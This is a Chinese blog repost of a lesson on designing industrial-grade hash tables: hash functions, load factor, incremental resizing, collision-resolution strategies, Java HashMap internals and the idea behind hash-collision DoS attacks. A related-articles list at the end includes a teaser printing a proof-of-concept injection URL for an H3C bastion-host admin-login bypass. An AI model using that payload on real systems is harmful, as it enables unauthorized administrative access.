散列表:如何打造一个工业级水平的散列表?

news2024/12/21 12:20:47

文章来源于极客时间前google工程师−王争专栏。

散列表的查询效率并不能笼统地说成是O(1)。它跟散列函数、装载因子、散列冲突等都有关系。如果散列函数设计得不好,或者装载因子过高,都可能导致散列冲突发生的概率升高,查询效率下降。

极端情况下,某些恶意攻击者,可能通过精心构造的数据,使得所有数据经过散列函数之后,都散列到同一个槽里。如果我们使用的是基于链表的冲突解决办法,那这个时候,散列表就会退化为链表,查询的时间复杂度就从O(1)退化为O(n)。

如果散列表中有10万个数据,退化后的散列表查询效率就下降了10万倍。这样可能因为查询操作消耗大量CPU或者线程资源,导致系统无法响应其他请求,从而达到拒绝服务攻击(DOS)的目的。这也就是散列表碰撞攻击的基本原理。

问题:如何设计一个可以应对各种异常情况的工业级散列表,来避免在散列冲突的情况下,散列表性能的急剧下降,并且能抵抗散列碰撞攻击?

如何设计散列函数?

散列函数设计的好坏,决定了散列表冲突的概率大小,也直接决定了散列表的性能。

第一,散列函数的设计不能太复杂。过于复杂的散列函数,势必会消耗很多计算时间,也就间接影响到散列表的性能。

第二,散列函数生成的值要尽可能随机并且均匀分布。这样才能避免或者最小化散列冲突,即便出现冲突,散列到每个槽里的数据也会比较平均,不会出现某个槽内数据特别多的情况。

学生运动会中,参赛编号后两位作为散列值。散列函数处理手机号,手机号码前几位重复的可能性很大,后面几位比较随机,可以取手机号的后四位作为散列值。这种散列函数的设计方法,我们一般叫作“数据分析法”。

如何实现Word拼写检查功能。散列函数可以这样设计:将单词中每个字母的ASCII码值“进位”相加,然后再跟散列表的大小求余、取模,作为散列值。比如英文单词nice,通过散列函数转化的散列值就是:

hash("nice")=(("n" - "a") * 26*26*26 + ("i" - "a")*26*26 + ("c" - "a")*26+ ("e"-"a")) / 78978

散列函数的设计方法包括直接寻址法、平方取中法、折叠法、随机数法,需要了解。

装载因子过大了怎么办?

装载因子越大,说明散列表中的元素越多,空闲位置越少,散列冲突的概率就越大。不仅插入数据的过程要多次寻址或者拉很长的链,查找的过程也会变得很慢。

动态散列表,数据集合是频繁变动。

针对散列表,当装载因子过大时,可以进行动态扩容,重新申请一个更大的散列表,将数据搬移到这个新散列表中。装载因子也会折半。

针对数组的扩容,数据搬移操作比较简单。但是,针对散列表的扩容,数据搬移操作要复杂很多。因为散列表的大小变了,数据的存储位置也变了,我们需要通过散列函数重新计算每个数据存储的位置。

如下图所示,在原散列表中,21这个元素原来存储在下标为0的位置,搬移到新的散列表中,存储在下标为7的位置。
image

需要复习:动态扩容数组、栈等数据结构的时间复杂度。

插入一个数据:

  • 最好:O(1)
  • 最坏:散列因子过高,启动扩容,重新申请内存空间,重新计算哈希位置,搬移数据,时间复杂度是O(n)
  • 平均:均摊情况下,时间复杂度接近最好情况,就是O(1)

如果内存紧张,对于动态散列表,随着数据的删除,空闲空间会越来越多。我们可以在装载因子小于某个值之后,启动动态缩容。

装载因子阈值需要选择得当。如果太大,会导致冲突过多;如果太小,会导致内存浪费严重。

如何避免低效地扩容?

问题:当装载因子已经到达阈值,需要先进行扩容,再插入数据。这个时候,插入数据就会变得很慢,甚至无法接受。

比如说,如果散列表当前大小为1GB,要想扩容为原来的两倍大小,那就需要对1GB的数据重新计算哈希值,并且从原来的散列表搬移到新的散列表,听起来就很耗时!

如果我们的业务代码直接服务于用户,尽管大部分情况下,插入一个数据的操作都很快,但是极个别非常慢的插入操作,也会让用户崩溃。这个时候,“一次性”扩容的机制就不合适了。

解决办法:将扩容操作穿插在插入操作的过程中,分批完成。当装载因子触达阈值之后,我们只申请新空间,但并不将老的数据搬移到新散列表中。
image

通过这样的均摊方法,将一次性扩容的代价,均摊到多次插入操作中,就避免了一次性扩容耗时过多的情况。这种实现方式,任何一种情况下,插入一个数据的时间复杂度都是O(1)。

如何选择冲突解决办法?

散列冲突主要有两种解决办法,开放寻址法和链表法。这两种解决办法在实际的软件开发中都非常常用。比如,java中LinkedHashMap就采用了链表法解决冲突,ThreadLocalMap是通过线性探测的开放寻址法来解决冲突。这两种冲突解决方法各自有什么优势和劣势,又各自适用哪些场景?

1.开放寻址法

开放寻址法的优点:

散列表中的数据都存储在数组中,可以有效地利用CPU缓存加快查询速度。而且这种方法实现的散列表,序列化起来比较简单。链表法包含指针,序列化起来就没那么容易。什么是数据结构序列化?如何序列化?为什么要序列化?

开放寻址法的缺点:

开放寻址法解决冲突的散列表,删除数据比较麻烦,需要特殊标记已经删掉的数据。在开放寻址法中,所有的数据都存储在一个数组中,比起链表法来说,冲突的代价更高。所以,使用开放寻址法解决冲突的散列表,装载因子的上限不能太大。这也导致这种方法比链表法更浪费内存空间。

总结:当数据量比较小、装载因子小的时候,适合采用开放寻址法。这是java中的ThreadLocalMap使用开放寻址法解决散列冲突的原因。

2.链表法

链表法对内存的利用率比开放寻址法要高。因为链表结点可以在需要的时候再创建,并不需要像开放寻址法那样事先申请好。实际上,这一点也是链表优于数组的地方。

开放寻址法只适用装载因子小于1的情况。接近1时,就可能会有大量的散列冲突,导致大量的探测、再散列等,性能会下降很多。但对于链表法来说,只要散列函数的值随机均匀,即便装载因子变成10,也只是链表的长度边长而已,虽然查找效率有所下降,但是比起顺序查找还是快很多。

链表因为要存储指针,所以对于比较小的对象(大对象指针内存占用可以忽略)的存储,是比较消耗内存的,还有可能让内存的消耗翻倍。链表中的结点是零散分布在内存中的,不是连续的,所以对CPU缓存是不友好的,这方面对于执行效率也有影响。

对链表法稍加改造,可以实现一个更加高效的散列表。我们将链表法中的链表改造为其他高效的动态数据结构,比如跳表、红黑树。这样,即便出现散列冲突,极端情况下,所有数据都散列到同一个桶内,那最终退化的散列表的查找时间也只不过是O(logn)。这样就有效避免了前面说的散列碰撞攻击。
image

总结:基于链表的散列冲突处理方法比较适合存储大对象、大数据量的散列表,而且比起开放寻址,它更加灵活,支持更多的优化策略,比如用红黑树代替链表。

工业级散列表举例分析

java中的HashMap

1.初始大小

HashMap的默认初始大小是16,当然这个默认值是可以设置的,如果事先知道大概的数据量有多大,可以通过修改默认初始大小,减少动态扩容的次数,这样会大大提高HashMap的性能。

2.装载因子和动态扩容

最大装载因子默认是0.75,当HashMap中元素个数超过0.75*capacity(散列表的容量),就会启动扩容,每次扩容都为原来的两倍大小。

3.散列冲突解决方法

HashMap底层采用链表法来解决冲突。即使负载因子和散列函数设计的再合理,也免不了会出现拉链过长的情况,一旦出现拉链过长,会严重影响HashMap的性能。

于是,在JDK1.8版本中,为了对HashMap做进一步优化,引入红黑树。当链表长度太长(默认超过8)时,链表就装换为红黑树,利用红黑树快速增删改查的特点,提高HashMap的性能。当红黑树结点个数少于8个的时候,又会将红黑树转化为链表。因为在数据量较小的情况下,红黑树要维护平衡,比起链表,性能上优势不明显。

4.散列函数

散列函数追求简单高效、分布均匀。

int hash(Object key) {
    int h = key.hashCode();
    return (h ^ (h >>> 16)) & (capitity -1); //capicity 表示散列表的大小
}

hashCode()返回的是java对象的hash code。比如String类型的对象的hashCode()如下:

public int hashCode() {
  int var1 = this.hash;
  if(var1 == 0 && this.value.length > 0) {
    char[] var2 = this.value;
    for(int var3 = 0; var3 < this.value.length; ++var3) {
      var1 = 31 * var1 + var2[var3];
    }
    this.hash = var1;
  }
  return var1;
}

解答开篇

如何设计一个工业级的散列函数?

首先思考:何为一个工业级的散列表?工业级的散列表应该具有哪些特性?

根据已经学过的散列知识,应该有这样几点要求:

  • 支持快速的查询、插入、删除操作
  • 内存占用合理,不能浪费过多的内存空间
  • 性能稳定,极端情况下,散列表的性能也不会退化到无法接受的情况

如何实现呢?

  • 设计一个合适的散列函数
  • 定义装载因子阈值,并且设计动态扩容策略
  • 选择合适的散列冲突解决办法

思考

java中哪些数据类型底层基于散列表实现?散列函数如何设计?散列冲突是通过哪些方法解决的?是否支持动态扩容?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1121388.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在ESP32上使用Arduino(Arduino as an ESP-IDF component)

目录 前言 原理说明 操作步骤 下载esp-arduino 安装esp-arduino 工程里配置arduino 1、勾选该选项&#xff0c;工程将作为一个标准的arduino程序工作 2、不勾选该选型&#xff0c;工程将作为一个传统的嵌入式项目开发&#xff0c; 前言 Arduino拥有丰富的各类库&#…

一款WPF开发的网易云音乐客户端 - DMSkin-CloudMusic

前言 今天推荐一款基于DMSkin框架开发的网易云音乐播放器&#xff1a;DMSkin-CloudMusic。 DMSkin 框架介绍 DMSkin是一个开源的WPF样式UI框架&#xff0c;可以帮助开发者快速创建漂亮的用户界面。 下载体验 下载地址&#xff1a;https://github.com/944095635/DMSkin-Clou…

如何使用vim粘贴鼠标复制的内容

文章目录 一、使用步骤1.找到要编辑的配置文件2.找到目标文件3.再回到vim编辑器 一、使用步骤 1.找到要编辑的配置文件 用sudo vim /etc/apt/sources.list编辑软件源配置文件 sudo vim /etc/apt/sources.listvim 在默认的情况下当鼠标选中的时候进入的 Visual 模式&#xff…

加法器:如何像搭乐高一样搭电路(上)?

目录 背景 异或门和半加器 全加器 小结 补充阅读 背景 上一讲&#xff0c;我们看到了如何通过电路&#xff0c;在计算机硬件层面设计最基本的单元&#xff0c;门电路。我给你看的门电路非常简单&#xff0c;只能做简单的 “与&#xff08;AND&#xff09;”“或&#xff…

UG\NX二次开发 获取用户默认设置中的绘图信息 UF_PLOT_ask_session_job_options

文章作者:里海 来源网站:《里海NX二次开发3000例专栏》 感谢粉丝订阅 感谢 m0_58724732 订阅本专栏,非常感谢。 简介 UG\NX二次开发 获取用户默认设置中的绘图信息 UF_PLOT_ask_session_job_options 效果 代码 #include "me.hp

window11安装Python环境

python环境安装 访问Python官网:https://www.python.org/ 点击downloads按钮&#xff0c;在下拉框中选择系统类型(windows/Mac OS/Linux等) 选择下载最新版本的Python cmd命令如果出现版本号以及>>>则表示安装成功 如果出现命令行中输入python出现如下错误 可能…

【SSA-RFR预测】基于麻雀算法优化随机森林回归预测研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

【JavaEE重点知识归纳】第11节:认识异常

目录 一&#xff1a;异常的概念和体系结构 1.概念 2.体系结构 3.异常分类 二&#xff1a;异常的处理 1.防御式编程 2.异常的抛出 3.异常的捕获 4.异常的处理流程 三&#xff1a;自定义异常 一&#xff1a;异常的概念和体系结构 1.概念 &#xff08;1&#xff09;在…

dy、ks最新版通用quic协议解决方案

短视频最新版通用quic协议解决方案 由于最新版的两款短视频都使用了quic协议&#xff0c;这就导致爬虫小伙伴在抓包的过程遇到不能抓包的问题&#xff0c;这里提供他们quic协议所有版本的通用解决方案&#xff0c;使他们不使用quic协议&#xff0c;直接通过Charles抓包。 由于…

仪器器材经营小程序商城的作用是什么

互联网发展下&#xff0c;数字化转型已经成为常态&#xff0c;仅依赖传统线下经营模式将很难再增长。 作为产品销售及客户维护度高的仪器器材行业&#xff0c;拥有自营商城平台是必要的&#xff0c;不仅可以解决以上难题&#xff0c;还利于打造自身品牌多渠道传播&#xff0c;…

css之Flex弹性布局(子项常见属性)

文章目录 &#x1f380;前言&#xff1a;本篇博客介绍弹性布局flex容器中子项的常见用法&#x1fa80;flex:子项目占得份数 &#xff08;划分不同子项的比例&#xff09;&#x1f387;align-self 控制单独一个子项在侧轴的排列方式&#x1f9f8;order属性定义子项的排列顺序 &a…

10.18~10.22数电第二次实验

频分复用 同一个时间共用一个频道&#xff0c;只不过频率不同&#xff0c;所以互不影响 时分复用 不同时间公用一个频道&#xff0c;轮流使用 时分复用&#xff08;TDM&#xff0c;Time-division multiplexing&#xff09;就是将提供给整个信道传输信息的时间划分成若干时间…

使用反射拼接SQL语句 和 使用 反射 + 注解 拼接SQL语句

以下知识本人都是用 Maven工程 总结的 1、使用反射拼接SQL语句 package com.csdn.anno; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Properties; public class AnnotationTest {public static void main(Str…

散列表:为什么散列表和链表经常会一起使用?

文章来源于极客时间前google工程师−王争专栏。 链表那一节&#xff0c;我们用链表来实现LRU缓存淘汰算法&#xff0c;但是链表实现的LRU时间复杂度是O(n)&#xff0c;可以通过散列表将时间复杂度降低为O(1) 跳表那一节&#xff0c;Redis的有序集合是使用跳表来实现的&#xf…

阿伐曲泊帕的合并用药方案【医游记】

&#xff08;图片来源于网络&#xff01;&#xff09; 阿伐曲泊帕是一种口服的促血小板生成素受体激动剂&#xff0c;用于治疗择期行诊断性操作或手术的慢性肝病相关血小板减少症的成年患者。本文将介绍阿伐曲泊帕的药理作用和药物相互作用。 药理作用 阿伐曲泊帕可以与人体…

H3C SecParh堡垒机 get_detail_view.php 任意用户登录漏洞

与齐治堡垒机出现的漏洞不能说毫不相关&#xff0c;只能说一模一样 POC验证的url为&#xff1a; /audit/gui_detail_view.php?token1&id%5C&uid%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&loginadmin成功获取admin权限 文笔生疏…

C语言笔试面试必刷题

&#x1f38a;【面经】专题正在持续更新中&#xff0c;内含C语言&#xff0c;数据结构&#xff0c;Linux&#xff0c;网络编程等✨&#xff0c;欢迎大家前往订阅本专题&#xff0c;获取更多详细信息哦&#x1f38f;&#x1f38f;&#x1f38f; &#x1fa94;本系列专栏 - ​​…

【LSTM-Attention】基于长短期记忆网络融合注意力机制的多变量时间序列预测研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

URV5使用指南

1. 下载软件 搜索这个地址下载软件 https://github.com/Anjok07/ultimatevocalremovergui/releases/download/v5.6/UVR_v5.6.0_setup.exe 我现在使用的是目前的最新版本5.6.0&#xff0c;后面肯定会出新版&#xff0c;但是流程大致类似。 2.安装软件 基本一直点next就可以&a…

论坛议程|COSCon'23 区块链(B)

众多开源爱好者翘首期盼的开源盛会&#xff1a;第八届中国开源年会&#xff08;COSCon23&#xff09;将于 10月28-29日在四川成都市高新区菁蓉汇举办。本次大会的主题是&#xff1a;“开源&#xff1a;川流不息、山海相映”&#xff01;各位新老朋友们&#xff0c;欢迎到成都&a…